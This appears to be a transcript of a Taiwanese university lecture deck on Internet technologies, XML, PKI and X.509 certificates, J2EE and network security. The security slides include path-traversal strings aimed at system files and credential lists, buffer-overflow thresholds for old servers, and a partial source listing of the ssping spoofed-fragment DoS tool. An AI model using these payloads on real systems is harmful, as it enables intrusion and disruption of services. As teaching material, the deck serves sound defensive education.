Document 7136265

Download Report

Transcript Document 7136265

More Internet technologies and
their applications
(含憑證與電子簽章介紹)
蔡文能
[email protected]
1
Agenda
•
•
•
•
•
•
•
Introduction to Internet Technology
Web (WWW)
XML, XUL
PKI與憑證簡介(主要介紹自然人憑證)
J2EE
Introduction to Network Security
Authentication
– RSA Public Key Algorithm
– X.509 Certificates and their applications
2
Internet 的起源與發展
– 1962 ARPA computer program begins …
– 1965 First actual network experiment, Lincoln Labs
(now part of MIT)
– 1966
ARPA packet-switching experimentation
– 1969
First Arpanet nodes operational
– 1972
Distributed e-mail invented
– 1973
For non-U.S. computer linked to ARPAnet
– 1975
Arpanet transitioned to Defense
communications Agency
– 1977 E-mail takes off, Internet becomes a reality, Number
of hosts breaks 100.
– 1978/2 first real BBS, the Board in Chicago
– 1980
TCP/IP experimentation begins
– 1981
New host added every 20 days
3
Internet 的起源與發展(Cont.)
–
–
–
–
–
–
–
–
–
–
–
–
1983
1984
1986
1987
1989
1990
1990
1991
1991
1992
1993
1993
TCP/IP switchover complete
Number of hosts breaks 1,000.
NFSnet backbone created
Number of hosts breaks 30,000.
Number of hosts breaks 100,000
Arpanet retired
300,000 Hosts. 1,000 News groups
Gopher introduced, U of Minnesota.
WWW invented
Hosts 1 Million. News groups 4,000
Mosaic introduced (第一個圖形式瀏覽器)
Hosts 2 Million. 600 WWW sites
4
Internet 的起源與發展(Cont.2)
– 1995
Internet backbone privatized
– 1995/May Java formally announced by Sun
Microsystems (JacaScript by Netscape)
– 1995 6.5 Million Hosts, 100,000 WWW Sites
– 1996
OC-3 (155Mbps) backbone built
– 1996
Internet 2
– 1996
Next Generation Internet (NGI)
– 1997 20 Million Hosts,
1 Million WWW sites, 71,618 Newsgroups.
– 1999 Dot-com Frenzy. 
– 2000 Dot-com Crash.   
123 Million Hosts, 8.5 Million WWW sites
5
www.Yahoo.com
雅虎股價
6
www.Yahoo.com
雅虎 (by 楊致遠)
•
•
•
•
•
1968年於台灣台北出生
十歲的時候移民加州聖荷西市
四年內完成史丹佛大學及碩士課程
史丹福大學攻讀CAD博士學位
1994年與David Filo 創立Yahoo
7
TANet History, Hinet
• 1989/9 教育部召集各校研商建立教育部與各大學之整合性高速學術
網路,計畫以二年時間協助各國立大學建立校園網路。
• 1990年2月 此網路命名為台灣學術網路(Taiwan Academic Network,
簡稱 TANet)。1990年7月 TANet 正式啟用。
• 1991/12 TANet 用64Kbps與美國普林斯頓大學 JvNCnet 連接。
• 1994/4/1 交通部電信局Hinet免費讓民眾試用一年, 第一年只有發
出三千個帳號, 免費的大家不喜歡用。
• 1994/8 行政院成立「國家資訊通信基本建設專案推動小組」,推動
N I I 計畫。 (National Information Infrastructure project) 。行政院院
長連戰指示三年內要台灣 Internet 人口達到300萬人。
• 1994/10 TANet 連美國頻寬提升至512 Kbps 。
• 1995/4 Hinet 用戶突破百萬。
• 1995/10 將連美國頻寬提升至T1(1.544Mbps),1996/5提昇至2條T1
,並將進入美國之連接點由東岸JvNCnet移至西岸之GLOBAL-ONE。
1998/11 TANet擴充國際電路頻寬為T3(45Mbps) 。
• 1998/10 教育部推動擴大內需計畫,推動全國中小學ADSL連線。
• 1998/12 台灣 Internet 人口正式突破300萬人。
• 1999/12完成全國中小學ADSL連線及四個縣市區網中心。
8
TANet History, Hinet (cont.)
• 2000年02月,國內骨幹之區域網路中心對外頻寬為120 Mbps (ATM),
縣市教育網路中心對外頻寬為45 Mbps。
• 2000/11 Hinet 用戶達 二百萬。
• 2000/12 我國網際網路用戶數達626萬人。
• 2001/3 我國網際網路用戶數達674萬人:
TANet上網的用戶數有246萬,透過電話撥接上網用戶528萬,
專線用戶數為1.7萬,ADSL用戶數為22萬,
Cable Modem用戶數達14萬,ISDN用戶數為1.5萬,
衛星用戶數為3000戶;上述用戶經過加值運算、扣除一人多帳號等
重複值後,計算出我國網際網路用戶數達674萬。
• 2001年10月,國際海纜原T3 * 2提升頻寬至STM1*2(310Mbps)。
• 2001/12 我國網際網路用戶數達 782 萬。
• 2002/1/24 中華電信 ADSL用戶突破100萬, 且持續快速成長。
• 2002/6 我國網際網路用戶數突破 800 萬。
• 2002/8 中華電信 ADSL用戶達150萬。
• 2003/8 中華電信 ADSL用戶達230萬,且持續快速成長。
9
TANet 國際頻寬現況
民國
• TANet國際專線目前有四路STM1(每路頻寬155Mbps)直達美國,
由教育部電算中心、國家高速網路與計算中心(NCHC)及中央研究
院共同出資向台灣固網公司承租。目前這四條電路的頻寬分配情
形如下:
第1、2路:教育部(155MbpsX 2)←→美國
第 3 路:國家高速網路與計算中心 155Mbps ←→美國
第 4 路:教育部(70Mbps)+國家高速網路與計算中心(25Mbps)+
中研院(60Mbps) ←→ 美國
因此,教育部提供各級學校共用的頻寬合計達380 Mbps,為使資
源作最佳利用,這380 Mbps的頻寬又劃分為:
圖書館專用頻寬 20 Mbps (例如電子期刊)
快速網段頻寬 280 Mbps (Proxy、DNS等專用)
一般使用者 80 Mbps (未設Proxy之一般用戶)
10
The World Wide Web (WWW)
The Year…1988
•
•
•
John Walker, founder of Autodesk, acquires Nelson’s technology and sinks
$5 million into its development.
However, he is beaten to the race in 1989 by Tim Berners-Lee – a physicist
at CERN (European Particle Physics Laboratory) – who proposed a
global hypertext system that he named “WorldWideWeb.”
Berners-Lee specifically invented three things:
– HyperText Transfer Protocol (HTTP) – a standard format for enabling all
computers to look up documents.
– Universal Resource Locator (URL) – a standard for finding a document by
typing in an address like http://www.webonomics.com/book.html
– HyperText Markup Language (HTML) – a standard design for word processorlike functions that enables people to add special codes to text.
• The Year…1991
– Berners-Lee makes his trio of programs available on the Internet.
– Leads to a rapid growth in the number of web sites.
11
WWW 發明人 Tim Berners-Lee
• Berners-Lee has software in his blood. Both
his parents were programmers who worked
for the British company Ferranti on one of the
first commercial computers.
• He read physics at Queen's College, Oxford,
where he built his first computer with a
soldering iron, a microprocessor chip and an
old television set.
• Graduating in 1976, he worked first for
Plessey and later for a firm writing
typesetting software.
12
1993: Mosaic was born
• One of these programmers was Marc Andreessen, who was
working for the NCSA in Urbana-Champaign, Illinois.
• In January 1993, Andreessen released a version of his new,
handsome, point-and-click graphical browser for the Web,
designed to run on Unix machines.
• In August, Andreessen and his co-workers at the center
released free versions for Macintosh and Windows.
13
Mosiac Communications (Netscape)
• December 1993 Andreersson left NCSA and
founded Mosiac Communications, now
called Netscape.
• Many of the key developers from NCSA
went with him to work on a new browser.
December 1995 Microsoft 宣佈全力投入 Internet
Microsoft Internet Explorer (IE)
Microsoft Internet Information Services (IIS)
The Apache HTTP Server Project
14
Internet Technology
Data / Legacy
Systems
Remote Access
VPN
WEB
XML
DW ODBC
DB
User
Firewall
Monitoring
Speed / Capacity
Security
15
Moore's Law vs. Gilder's Law
• 「摩爾定律」(Moore‘s Law),英特爾
(Intel)創辦人Gordon Moore提出的,
根據這條定律電子晶片(chips)處理訊
息的能力每隔十八個月就增加一倍。
• 「吉爾德定律」(Gilder’s Law),指通
訊系統的頻寬每十二個月便增加兩倍。

「莫非定律」 -- Murphy’s Law ? 
17
1000
100
Cray 2
Cray Y-MP Cray C90
Alpha
RS6000/590
Alpha
RS6000/540
Cray X-MP
Cray 1S
10
i860
Ethernet
R2000
1
0.1
0.01
8087
Cray T90
80387
6881
80287
Storage in MB
10000
Super C
Ethernet
Micro P
Storage
802.11
Speed in Mbps
Performance in Mflop/s
Moore’s Law vs. Gilder’s Law :
The Last Twenty Years
18
Source: Gordon Bell, Microsoft Research
Storage
100000
802.11
Wired Ethernet
Microprocessor performance
10000
100
10
1
Storage in GB
1000
Speed in Gbps
Performance in Gflop/s
The Next Twenty Years
0.1
19
By 2009…
• Almost everything will be connected to the
Internet
– Appliances, automobiles, personal
communicators, screens (large and small), even
your watch.
– 3 billion Internet-capable wireless devices
• The Internet will be:
– Telephone, answering machine, television,
radio, movie theatre, clock, store, cell phone,
pager, post office, mailbox, library, security
system, gaming platform, musical instrument,
learning center, storage medium, and much,
much more!
20
XML is ...
• ... an eXtensible Markup Language
... HTML  presentation tags + your-own-tags
... a meta-language for defining other languages
... a semistructured data model
... not a data model but just an exchange syntax
… the ASCII of the Web
... many good (and some bad) Computer Science
ideas reinvented (but now for the masses!)
• ... good old constant change (not the XML spec.,
but everything else)
• …
•
•
•
•
•
•
21
Some History (or: from fat via lean…
• SGML (Standard Generalized Markup Language)
–
–
–
–
–
ISO Standard, 1986, for data storage & exchange
Metalanguage for defining languages (through DTDs)
A famous SGML language: HTML!!
Separation of content and display
Used in U.S. gvt. & contractors, large manufacturing
companies, technical info. Publishers,...
– SGML reference is 600 pages long
• XML (eXtensible Markup Language)
– W3C (World Wide Web Consortium) -http://www.w3.org/XML/ recommendation in 1998
– Simple subset (80/20 rule) of SGML: “ASCII of the Web”,
“Semantic Web”
22
– XML specification is 26 pages long
HTML vs. XML
HTML tags:
presentation, generic
<h1> Bibliography </h1>
document structure
<p> <i> Foundations of DBs</i>, Abiteboul, Hull, Vianu
<br> Addison-Wesley, 1995
<p> <i> Logics for DBs and ISs </i>, Chomicki, Saake, eds.
<br> Kluwer, 1998
XML tags:
<bibliography>
<book> <title> Foundations of DBs </title>
content, "semantic",
<author> Abiteboul </author>
(DTD-) specific
<author> Hull </author>
<author> Vianu </author>
<publisher> Addison-Wesley </publisher>
....
.</book>
<book> ... <editor> Chomicki </editor>... </book> ...
</bibliography>
23
XML vs SGML
• origins: HTML + SGML (ISO Standard, 1986,
~600pp)
• W3C standard (~26 pp): XML syntax + DTDs
• XML = HTML  presentational tags
+ user-defined DTD (tags+nesting)
=> really a metalanguage for defining other languages
via DTDs
=> XML is more like SGML than HTML
• XML = SGML  {complexity, document perspective}
+ {simplicity, data exchange perspective}
24
XML as a Self-Describing Data
Exchange Format
• can be easily “understood” by our friend (... even using CP/M & edlin)
• can be parsed easily
• contains its own structure (=parse tree) in the data
=> allows the application programmer to rediscover schema and content/semantics
(to which extent???)
• may include an explicit schema description (e.g., DTD)
=> meta-language: definition of a language w.r.t. which it is valid
• allows separation of marked-up content from presentation (=>style sheets)
• many tools (and many more to come -- (re)use code): parsers, validators, query
languages, storage, …
• standards (good for interoperation, integration, etc):
=> generic standards (XML, DTDs, XML Schema, XPath,...)
25
=> community/industry standards (=specific markup languages)
Different Perspectives on XML
• Document (SGML) Community
– data = linear text documents
– mark up (annotate) text pieces to describe context,
structure, semantics of the marked text
• Database Community
– XML as a (most prominent) example of the
semistructured data model
=> captures the whole spectrum from highly structured,
regular data to unstructured data (relational, objectoriented, HTML, marked up text, ...)
26
XML Applications & Industry
Initiatives
http://www.oasis-open.org/cover/xml.html#applications
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
Advertising: adXML place an ad onto an ad network or to a single vendor
Literature: Gutenberg convert the world’s great literature into XML
Directories: dirXML Novell’s Directory Services Markup Language (DSML)
Web Servers: apacheXML parsers, XSL, web publishing
Travel: openTravel information for airlines, hotels, and car rental places
News: NewsML creation, transfer and delivery of news
Human Resources: XML-HR standardization of HR/electronic recruiting XML definitions
International Dvt: IDML improve the mgt. and exchange of info. for sustainable development
Voice: VoxML markup language for voice applications
Wireless: WAP (Wireless Application Protocol) wireless devices on the World Wide Web
Weather: OMF Weather Observation Markup Format (simulation)
Geospatial: ANZMETA distributed national directory for land information
Banking: MBA Mortgage Bankers Association of America --> credit report, loan file, underwriting…
Healthcare: HL7 DTDs for prescriptions, policies & procedures, clinical trials
Math: MathML (Mathematical Markup Language)
Surveys: DDI (Data Documentation Initiative) “codebooks” in the social and behavioral sciences
27
Elements and their Content
element type
<bibliography>
<paper ID="object-fusion">
<authors>
<author>Y.Papakonstantinou</author>
<author>S. Abiteboul</author>
<author>H. Garcia-Molina</author>
</authors>
<fullPaper source="fusion"/>
<title>Object Fusion in Mediator Systems</title>
<booktitle>VLDB 96</booktitle>
</paper>
element
element
content
empty
element
</bibliography>
character content
28
What is XUL ?
• XML-based User interface Language (“zool”)
• An XML grammar to add/modify UI widgets of the browser
• Makes UI building easier and faster
• Uses W3C standards: HTML, XML, CSS, DOM
• XPToolkit is the finite set of interface-specific elements created in XUL
• XPFE (cross Platform Front End) is the front end created from XPToolkit
• XUL provides flexibility and ease of use
– Cross-platform UI easily
– Power enough to build application UI
– Ready-made widgets
Programming in Facebook ?
29
XUL Widget & Syntax
• Widget:
– Window, box, menu, button, tabbox, checkbox, …
• Syntax & Rules:
– XUL is case sensitive: all events and attribute must be
written in lower case
– All strings must be double quoted
– All attributes must have a value
– XUL file extension: .xul
Programming in Facebook ?
30
Inside XUL package
• Main components
– Content:
• XUL files describes XML description of UI
– Appearance:
• CSS, images, and others control presentation
– Behavior:
• JavaScript defines event handling within widgets
– Locale:
• All localizable strings in external DTD
31
XUL and JavaScript
• XUL interface is a collection of disconnected
widgets until programmed
• Using JavaScript and/or C++
• JavaScript included in XUL or a separate file
<html:script>
function InitWindow( ) {
var checkbox = document.getElementByID("remember");
if (checkbox) checkbox.checked = true; }
</html:script>
<html:script language="javascript" src="myscript.js"/>
32
何謂自然人憑證
• 「自然人憑證」是可以在網路上作資料交換時,
如同網路身分證辨識雙方身分。
• 「憑證」包含了「數位簽章」跟「公開金鑰」。
這個公開金鑰是智慧型的 IC卡自己演算出來的
一組金鑰對中的一半,另一半稱為「私密金
鑰」,則永遠儲存在IC晶片當中。
• 經由憑證使用人和憑證管理中心約定,日後用
這憑證,身分就可以辨認,啟用了加解密的功
能,不管你在網路上傳什麼資料,資料都被加
密,駭客攔截了資料也無法輕易的解開。
33
自然人憑證
34
我國之政府公開金鑰基礎建設
(Government Public Key
Infrastructure,GPKI)
35
自然人申辦服務流程
• 步驟一 請於預約申辦服務畫面點選 [申辦註冊]
選項。
• 步驟二 請輸入申請人基本聯絡資料及密碼,完成
登錄註冊。
• 步驟三 完成登錄註冊後,請點選 [申辦預約] 選
項,輸入身分證資料及密碼,選擇欲預約申辦之
戶政事務所與時間。
• 步驟四 於預約申辦當日,請申請人攜帶本人國民
身分證,依預約申辦時間與地點,親臨戶政事務
所申辦自然人憑證。
• 自然人憑證IC卡有效期限為五年(申請當天起算)。
36
•!
自然人憑證申請流程圖 (舊)
步驟一:
下載
下載作業軟體下載
說明
(安裝前請先關閉
所有瀏覽器視窗)
並安裝
執行gcaee4.exe
安裝說明
步驟二: 步驟三:
進入
憑證申
請作業
製作
私密金
鑰磁片
→
(第一片
)
及
憑證申
請磁片
(第二片
)
步驟四:
(採線上申請者,請跳過此步驟。例如使用HiNet
個人帳號申請憑證者,請跳至步驟四)
等待一個工作天
臨櫃申請:
請攜帶
身分證
憑證資料磁片
→ (第二片)
親自前往
服務窗口
申請(不得代辦)
等候Email
寄發憑證
或自行
下載憑證
→
儲存於
私密金鑰
磁片
37
http://village.gov.tw/
38
X.509 Authentication Service
• Distributed set of servers that maintains a
database about users.
• Each certificate contains the public key of a
user and is signed with the private key of a
CA.
• Is used in S/MIME, IP Security, SSL/TLS
and SET.
• RSA is recommended to use.
39
Certificate Authority
• Trusted, 3rd party organization
• CA (Certificate Authority) guarantees that the
individual granted a certificate is who he/she
claims to be
• CA usually has arrangement with financial
institution to confirm identity
• Critical to data security and electronic
commerce
40
Raw “Certificate” has user name, public key, expiration date, ...
Generate hash code
of Raw Certificate
Raw
Cert.
MIC
Hash
Signed
Cert.
Signed Certificate
Recipient can verify
signature using CA’s
public key.
Encrypt hash code
with CA’s private key
to form CA’s
signature
Certificate Authority generates the
“signature” that is added to raw
“Certificate”
41
41
X.509 Formats
42
42
Sample
Certificate
information
This Certificate belongs to:
investing.schwab.com
trading subnet a 1199
Charles Schwab & Co., Inc.
Phoenix, Arizona, US
This Certificate was issued by:
Secure Server Certification Authority
RSA Data Security, Inc.
US
Serial Number: 6B:68:2F:3B:FD:8A:46:73:04:33:10:8A:32:1E:47:5B
This Certificate is valid from Wed Nov 03, 1999 to Thu Nov 02, 2000
Certificate Fingerprint:
4B:80:C6:C5:2D:63:14:E7:6F:50:BD:16:39:3C:96:FD
43
43
Public Key Infrastructure (PKI)
• No absolute definition or standard
• Each party has an associated key pair: one
public and one private
– Private keys are not divulged
– Public keys are published
• Infrastructure enables both encryption and
digital signatures (to thwart man in the middle)
• Problem: public key spoofing
44
PKI-Secured Applications
E-mail
Web
Secure
Desktop
PKI
VPN
********
Single
E/Commerce
Sign on
45
PKCS related documents
Public Key Cryptographic Standards, PKCS
A collection of 13 papers PKCS #1 to PKCS #15 developed by
RSA Labs and representatives from the academia and
industry.
PKCS #1RSA Algorithm
PKCS #3Diffie-Hellman Algorithm
PKCS #5:
Password-Based Cryptography Standard
PKCS #6:
Extended-Certificate Syntax Standard
PKCS #7Cryptographic Message Syntax Std
PKCS #8:
Private-Key Information Syntax Standard
PKCS #9:
Selected Attribute Types
PKCS #10
Key Certification Request
PKCS #11
Standard API for developers
PKCS #12
Certificate Interchange Format
PKCS #13
Elliptic Curves Algorithm
PKCS #14
PRNG Algorithms
PKCS #15
Smart Card File Format
46
http://www.pki.gov.tw/
47
憑證的分類
PKI 分類
自
然
人
分
類
硬
體
裝
置
http://210.71.181.21/
CA(Subordinate)
)
伺
服
軟
體
CA(Self-Signed)
公 私 公 私
法 法 法 法
人 人 人 人
所 所
屬 屬
單 單
位 位
其
他
財
產
法
人
(Device)
類
PKICA
(Server AP)
分
個 法
人 人
之
一 員
般 工
自
然
人
(
細
PKIUser
48
Server AP憑證的功能
• 確認伺服器應用程序(Server Application Process)
之身分
,確保資料傳遞的安全。
• SSL的Server AP 憑證:網站參觀者確信網站的真
實身分,使瀏覽器與伺服器之間的通訊有安全
加密的功能,以便確保通訊過程的資料安全以
及傳遞資料的完整性。
49
Server AP憑證用途示例-Client辨
識Server身份
Server AP憑證
Server AP的
公開金鑰
憑證序號
有效期限
Server AP的 DN
簽發者的 DN
Client端可信賴CA清單
憑證是否有效?
簽發者的DN在
可信賴清單中?
簽發者的數位簽章
用CA Public Key
驗證signature通過?
ServerAP’ s DN
與實際DN是否相同?
CA的憑證
CA的DN
CA的
公開金鑰
CA的
數位簽章
50
Server AP憑證與Device憑證之區別(1/2)
• 憑證主體(subject;對象)的定義應該區分清楚。
– 才可以定好申請及審驗的流程, 不會造成發憑證的混淆
及因擾。
• Device 指的是硬體的設備或元件,例如讀卡機,
加值機, PC, Workstation或VPN的VSU等。因
此發給硬體元件的憑證稱為Device憑證, 中文稱為
硬體裝置憑證。
• 一台Server機器上可能會同時有很多個Service,
這邊簽發的對象是在Server機器上提供某個
Service的的伺服應用軟體(Server Application
Process),而不是發給那台機器設備的。此種發給
伺服應用軟體的憑證稱為Server AP憑證, 中文稱
51
為伺服軟體憑證。
Server AP憑證與Device憑證之區別(2/2)
• GCA Server AP憑證是發給政府部門應用的某台伺
服主機上的該伺服應用軟體,因此GCA Server AP
憑證其中文的名稱為“GCA伺服軟體憑證”或稱
做“伺服器應用軟體(Server AP)憑證 ”。
• 若以後有需要,可以規劃發給Workstation的GCA
伺服器憑證(屬於硬體裝置憑證)。
• 依據電子閘門功能規範, 建議將GCA Server AP
憑證私密金鑰存放在高速保密器中,這和存放在
floppy中,只是storage media及保護程度的不同而
已,並不會影響該憑證是Server AP憑證的本質。
52
GCA Server AP憑證內容
擴充欄位
憑證格式版本
憑證序號
簽章演算法
簽發者名稱
憑證有效期限
持有者識別名稱(Subject Name)
持有者公鑰
簽發者唯一識別碼
持有者唯一識別碼(Subject Unique ID)
金鑰用途
憑證政策
憑證主體別名(Subject Alt Name)
基本限制
…..
CA 簽章
53
GCA Server AP憑證的種類(1/3)
Server AP 憑證(AP係指Application Process),分成為專屬類別
(Proprietary)的Server AP憑證、 SSL的Server AP憑證以及給Time
Stamp Server 或OCSP Server等特定用途的Specific憑證。
GCA目前對政府機關提供專屬類別以及SSL的Server AP憑證。
上述兩種憑證其主要分別在Common name及ou記載方式的不同。
如為專屬類別時,則Common name使用Server AP的名稱
或是IP Address(註1);而為SSL的Server AP憑證,則Common
name註記為該Server AP所使用的Domain name。
(註1:專屬類別 的定義主要是來自於一些的應用系統, 它們所用的通訊協定並不
是國際公認的工業標準, 而有其專屬的做法及用法, 因此這樣專屬伺服軟體的憑證
便稱為專屬伺服軟體憑證, 而其憑證的格式剖繪(profile) 在業界便沒有約定的方式,
因此我們便依照X. 521的命名方式, 在cn中使用伺服軟體的名稱, 並且由於這些的
應用系統的IP Address, 並沒有像domain name有向Trust Third Party登記,所以使用
IP Address便被我們視為專屬伺服軟體憑證的一個特性.)
54
GCA Server AP憑證的種類(2/3)
如為專屬類別時,則ou為伺服軟體使用單位全名,也就是
使用該伺服軟體的一級機關的名稱、各級單位名稱之串接。
例如:
ou=行政院&研考會&資訊管理處&三科
而SSL的Server AP憑證,其ou為伺服軟體名稱,也就是使用
該伺服軟體的一級機關的名稱、各級單位名稱、及伺服軟體
名稱。
例如:
ou=行政院&經濟部&商業司&工商電子閘門IP軟體
55
GCA Server AP憑證的種類(3/3)
專屬伺服軟體憑證申請畫面
SSL伺服軟體憑證申請畫面
o
Subject Alt Name
CN
CN
Subject Alt
Name
ou
ou
o
56
FAQ regarding GCA
Q1.可不可用政府機關(構)的憑證來做為Server AP憑
證?
A1. 不可以的。 因為類別上根本不同, 如果硬是使用
會造成權責不分。政府機關(構)的憑證代表機關單
位的身分,類似關防的作用, Server AP憑證則代表
伺服器上面的某個軟體程序(process)。
Q.2 RA與RAO的區別為何?
A2. RA為Registration Authority為一個機構法人, 而
RAO = RA Operator為一個機構中的自然人, 因此
是要建置RA並須訓練RAO。
57
Client/Server(2-Tier) Database Access
• Client Tier – Presentation, Business Logic
• Data Tier – Database Management Services
Source: Sun Microsystems, Inc., JDBC 3.0 Specification
58
Traditional(non-component) N-Tier Systems
• Client Tier – Presentation Logic
• Application Tier – Business Logic
• Data Tier – Database Management Services
Source: Sun Microsystems, Inc., JDBC 3.0 Specification
59
Component N-Tier Systems
J2EE Architecture
Client Tier
Fireware
Applet
Container
Web Tier
Web Container
Connector
EJB Container
JSP
Standalone
Client
Client
Machine
EIS Tier
Business Tier
Enterprise
Information
Services
EJB
Servlet
J2EE Server
Machine
Database Server
Machine
60
J2EE and Other Java 2 Platform Editions
Source: Computer, August 2000
J2EE, J2SE, J2ME
61
J2EE and Other Java 2 Platform Editions
J2EE, J2SE, J2ME
Source: Sun Microsystems, Inc.
62
J2EE Platform Technologies 1/3
• Servlets and JSP
– Java technology servlets and JavaServer Pages are server components that
run in a web server that supports dynamic HTML generation and session
management for browser clients.
• EJB
– Enterprise JavaBeans is a server component model that provides
protability across application servers and implements automatic services
on behalf of the application components.
• JTA
– Java Transaction API provides a transaction demarcation API.
• JTS
– Java transaction Service defines a distributed transaction management
service based on the CORBA Object Transaction Service.
63
J2EE Platform Technologies 2/3
• JNDI
– Java Naming and Directory Interface provides access to naming and
directory services, such as DNS, LDAP, NDS, and CORBA Naming.
• RMI-IIOP
– Remote Method Invocation(RMI) creates remote interfaces for Java-toJava communication. This extension uses the CORBA standard IIOP
communication protocol.
• Java IDL
– Java Interface Definition Language creates remote interfaces to support
java-to-CORBA communications.
64
J2EE Platform Technologies 3/3
• JDBC
– JDBC database access API provides uniform access to relational databases.
• JMS
– Java Messaging Service supports asynchronous communication using
either a reliable queuing or publish/subscribe model.
• JavaMail
– JavaMail provides a protocol-independent framework to build mail and
messaging applications.
• JAF
– JavaBeans Activation Framework provides standard services to determine
the type of an arbitrary piece of data and activate an appropriate
JavaBeans component to manipulate the data.
65
History of J2EE Technologies
• Distributed Objects
– CORBA, DCOM, etc.
– Three-tier scenario: presentation, business logic, and
backend databases
• Hard to “get right” without the proper infrastructure
• Server-Side Components
– Focuses on encapsulating “business rules” into objects
in the middle tier
• Component Transaction Monitors
– Descendant of CORBA’s Object Request Broker
• provides discovery, persistence, event notification, transactions,
etc. for three-tier or n-tier applications
66
網路安全簡介
Introduction
to
Network Security
67
常見的攻擊手法 I
•使用現成的攻擊工具
•猜測密碼法
–Remote Password Guessing
–Local Password Cracking
•設定錯誤、設定不詳盡的系統
–預設帳號、密碼
–存取設定錯誤(NFS)
• NFS.avi
–安裝系統時,自動安裝的不必要程式(showcode.asp)
68
http://www.???gsm.com.tw/??????????/
showcode.asp?source=/msadc/Samples/../../../../../../boot.ini
常見的攻擊手法 II
•程式本身的設計缺陷
–Buffer Overflow
–路徑檢查不嚴謹(../../../etc/passwd)
–參數檢查不嚴謹(例如 phf)
•監聽網路上的封包(Sniffing)
•搜尋順序的問題
–安裝木馬(陷阱)
–動態函式替代法
•安裝後門程式
70
常見的攻擊手法 II – buffer overflow
• 藉由輸入過長的資料給固定長度的buffer造成buffer
overrun。
• 實例 :
– NCSA httpd buffer overflow
• NCSA’s httpd v1.4 的 MAX_STRING_LEN 只能容忍 256 個字元
• Crack : 當一個 client 連到server的port 80,利
用GET command 輸入超過256字元,
server 便會要求結束程式。
– Netmanerger Chameleon tool suit 的漏洞 :
• FTP server
– Buffer overflow with username
– username > 150 字元
71
Buffer overflow (Cont.)
• POP3d
– Buffer overflow with ‘USER username’
» username > 152字元
– Buffer overflow with ‘PASS passwd’
» password > 104字元
• SMTPd
– Buffer overflow with ‘HELO hostname’
» hostname > 471字元
– Buffer overflow with ‘HELP topic’
» topic > 514字元
72
CGI : PHF 參數檢查不嚴格
常見的攻擊手法 III

利用通訊協定的弱點(SYN-Flood、SMTP)

假造 IP 位址(IP Spoofing)

偽造 DNS 資訊(DNS Spoofing)

攔截、替代封包(Session Hijack)

偽裝 Client 或 Server

遠端掃瞄(Port Scanning)
74
常見的攻擊手法 IV

阻絕攻擊(DoS)

SYN-Flood
 Smurf
 TCP、UDP、ICMP
 Resource Exhausting
分散式阻絕攻擊(DDoS)

75
常見的攻擊手法 V

針對個人(Windows)的攻擊

存取未經限制的資源分享

電子郵件、資料檔、甚至網頁(夾帶病
毒、巨集、程式碼)

Web Bomb、ICQ Bomb、Mail Bomb

程式的漏洞(MSIE、ICQ、FTPD)

OOB、IGMP(一擊必殺)

Bo2k(後門程式)
76
常見攻擊手法 V – OOB
• Out-of-band
• 特徵 :
– 在與某台主機建立連線後,送出一個含有 MSG_OOB
的封包 :
send(s, str, strlen(str), MSG_OOB);
• 原理 :
– MSG_OOB flag 是用來控制網路,因此具有很高的優
先權
– 這類程式會造成 Windows 會delay很久,嚴重者當機。
• Ex:
– Winnuke
– Crash95.c
77
常見攻擊手法 V – BO
• Back orifice
– Windows 95/98
• 新版本 Back orifice 2000
– Windows 95/98/NT
• 特洛依型程式
• 利用簡單控制台(console) 或圖形(GUI)介面,
提供駭客遠端控制能力,以便暗中竊取資料。
• 當back orifice 被執行後,installation file會偷偷
安裝程式,將檔案複製到windows的system 目
錄下,開始監控使用者電腦,並且installation
file會將自身殺掉。
78
BO (Cont.)
• 程式包含兩部分:
– Server : remote target machine
– Client : local intruder’s machine
• Capability :
–
–
–
–
–
–
–
–
Display system info – HD size, memory,…,etc
Display cached passwords
Reboot the system.
Freeze the remote machine
Changing anything in the Windows Registry.
Create or delete directories
Monitor network packets
…etc.
79
Denial of Service (DoS) 簡介
• 攻擊對象 :
連上Internet 的網路和裝置
• 目的 :
讓被攻擊的網路伺服器因忙碌著回應不合法
的存取要求或拒絕合法使用者的存取,導致 :
 伺服器無法正常運作
 使用者無法再存取網路資源
80
Distributed DoS (DDoS)
• 攻擊方式 :
– 採分散的攻擊方式,聯合網路上能夠發動
DoS攻擊的主機同時發動攻擊,造成數以百
萬計的封包流入欲攻擊的目標,造成對方癱
瘓。
• 程式 :
– TFN
– TRIN00
– tfn2k
81
DoS 常用攻擊技術 – IP Spoofing
• 技術 :
改變網路封包的來源位置,欺騙路由器或防
火牆,假裝入侵者是來自於可信任的網路。
• 藉由 IP Spoofing技術,攻擊者可達到 :
– 隱藏入侵者身份及位置
– 加強 DoS攻擊的能力
82
DoS 攻擊型態
• 皆是利用 TCP/IP 的漏洞,讓網路充滿了
垃圾封包,攻擊型態包含:
– 利用主機系統 TCP/IP 漏洞,例如 :
• Ping of Death
• Teardrop
– 利用 TCP/IP 規格本身的漏洞,例如 :
• SYN Flood
• LAND
– Smurf 攻擊
83
DoS攻擊型態 – Ping of Death
• 方式 :
– 利用 “ping”這支工具程式來產生超過 IP
協
定所能允許的最大封包 (>65535 bytes
based on RFC-791) 。
– 當這封包送到沒有檢查功能的系統,則可能發生系
統當機
– 或者是因為過長的封包會被切成可接受長度的片段
(fragments)再逐一傳送至遠端電腦,再將這些片段
組合還原成完整封包,但此舉有時會造成對方電腦
84
Buffer overflow而當機或重開。
Ping of Death (Cont.)
• SSPING/Jolt
– 一個能有效凍結大部分 Windows 95 或
Windows NT連線的程式
– 藉由傳送一連串長度為 64k 的 spoofed &
fragmented ICMP 封包給攻擊目標,造成
Windows 95/NT 無法正常運作。
– ssping.c
usage: ssping <dstaddr> <saddr> <num>
85
ssping.c
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
exit(1);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
if ((hp2 = gethostbyname(argv[2])) == NULL) {
if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[2]);
exit(1);
}
} else {
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
}
86
ssping.c (C.1)
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_csum = 0;
/* kernel fills in */
